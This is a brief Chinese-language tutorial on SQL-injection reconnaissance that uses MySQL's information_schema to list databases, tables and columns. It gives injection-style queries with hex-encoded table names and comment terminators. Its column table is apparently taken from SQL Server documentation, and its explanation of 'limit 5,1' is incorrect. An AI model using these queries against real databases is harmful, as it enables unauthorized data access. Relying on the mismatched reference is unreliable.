MySQL版本大於5.0時,有個默認數據庫information_schema,里面存放着所有數據庫的信息(比如表名、 列名、對應權限等),通過這個數據庫,我們就可以跨庫查詢,爆表爆列。
若要從這些視圖中檢索信息,請指定完全合格的 INFORMATION_SCHEMA view_name 名稱。
列名 | 數據類型 | 描述 |
---|---|---|
TABLE_CATALOG | nvarchar(128) | 表限定符。 |
TABLE_SCHEMA | nvarchar(128) | 表所有者。 |
TABLE_NAME | nvarchar(128) | 表名。 |
COLUMN_NAME | nvarchar(128) | 列名。 |
ORDINAL_POSITION | smallint | 列標識號。 |
COLUMN_DEFAULT | nvarchar(4000) | 列的默認值。 |
IS_NULLABLE | varchar(3) | 列的為空性。如果列允許 NULL,那么該列返回 YES。否則,返回 NO。 |
DATA_TYPE | nvarchar(128) | 系統提供的數據類型。 |
CHARACTER_MAXIMUM_LENGTH | smallint | 以字符為單位的最大長度,適於二進制數據、字符數據,或者文本和圖像數據。否則,返回 NULL。有關更多信息,請參見數據類型。 |
CHARACTER_OCTET_LENGTH | smallint | 以字節為單位的最大長度,適於二進制數據、字符數據,或者文本和圖像數據。否則,返回 NULL。 |
NUMERIC_PRECISION | tinyint | 近似數字數據、精確數字數據、整型數據或貨幣數據的精度。否則,返回 NULL。 |
NUMERIC_PRECISION_RADIX | smallint | 近似數字數據、精確數字數據、整型數據或貨幣數據的精度基數。否則,返回 NULL。 |
NUMERIC_SCALE | tinyint | 近似數字數據、精確數字數據、整數數據或貨幣數據的小數位數。否則,返回 NULL。 |
DATETIME_PRECISION | smallint | datetime 及 SQL-92 interval 數據類型的子類型代碼。對於其它數據類型,返回 NULL。 |
CHARACTER_SET_CATALOG | varchar(6) | 如果列是字符數據或 text 數據類型,那么返回 master,指明字符集所在的數據庫。否則,返回 NULL。 |
CHARACTER_SET_SCHEMA | varchar(3) | 如果列是字符數據或 text 數據類型,那么返回 DBO,指明字符集的所有者名稱。否則,返回 NULL。 |
CHARACTER_SET_NAME | nvarchar(128) | 如果該列是字符數據或 text 數據類型,那么為字符集返回唯一的名稱。否則,返回 NULL。 |
COLLATION_CATALOG | varchar(6) | 如果列是字符數據或 text 數據類型,那么返回 master,指明在其中定義排序次序的數據庫。否則此列為 NULL。 |
COLLATION_SCHEMA | varchar(3) | 返回 DBO,為字符數據或 text 數據類型指明排序次序的所有者。否則,返回 NULL。 |
COLLATION_NAME | nvarchar(128) | 如果列是字符數據或 text 數據類型,那么為排序次序返回唯一的名稱。否則,返回 NULL。 |
DOMAIN_CATALOG | nvarchar(128) | 如果列是一種用戶定義數據類型,那么該列是某個數據庫名稱,在該數據庫名中創建了這種用戶定義數據類型。否則,返回 NULL。 |
DOMAIN_SCHEMA | nvarchar(128) | 如果列是一種用戶定義數據類型,那么該列是這種用戶定義數據類型的創建者。否則,返回 NULL。 |
DOMAIN_NAME | nvarchar(128) | 如果列是一種用戶定義數據類型,那么該列是這種用戶定義數據類型的名稱。否則,返回 NULL。 |
首先介紹一下的是爆庫
select SCHEMA_NAME from information_schema.SCHEMATA limit 5,1/* 5,1表示從第1個開始,數到第5個
然后就是爆表了。
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=0×6D656D626572 limit 5,1/*TABLE_SCHEMA=后面是庫名的16進制
再來爆字段
select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0×61646D5F75736572 limit 5,1/*
所有數據都是從information_schema.columns這個表里獲取,因為從information_schema這個庫我們可以看到,從information_schema.columns這個表里,我們可以查到所有的信息,因為它在里面,table_schema、 table_name、column_name這個三個列都有,所以我們可以直接通過這個表,查出我們需要的所有信息,就省了換表這一步了,進一步提升速度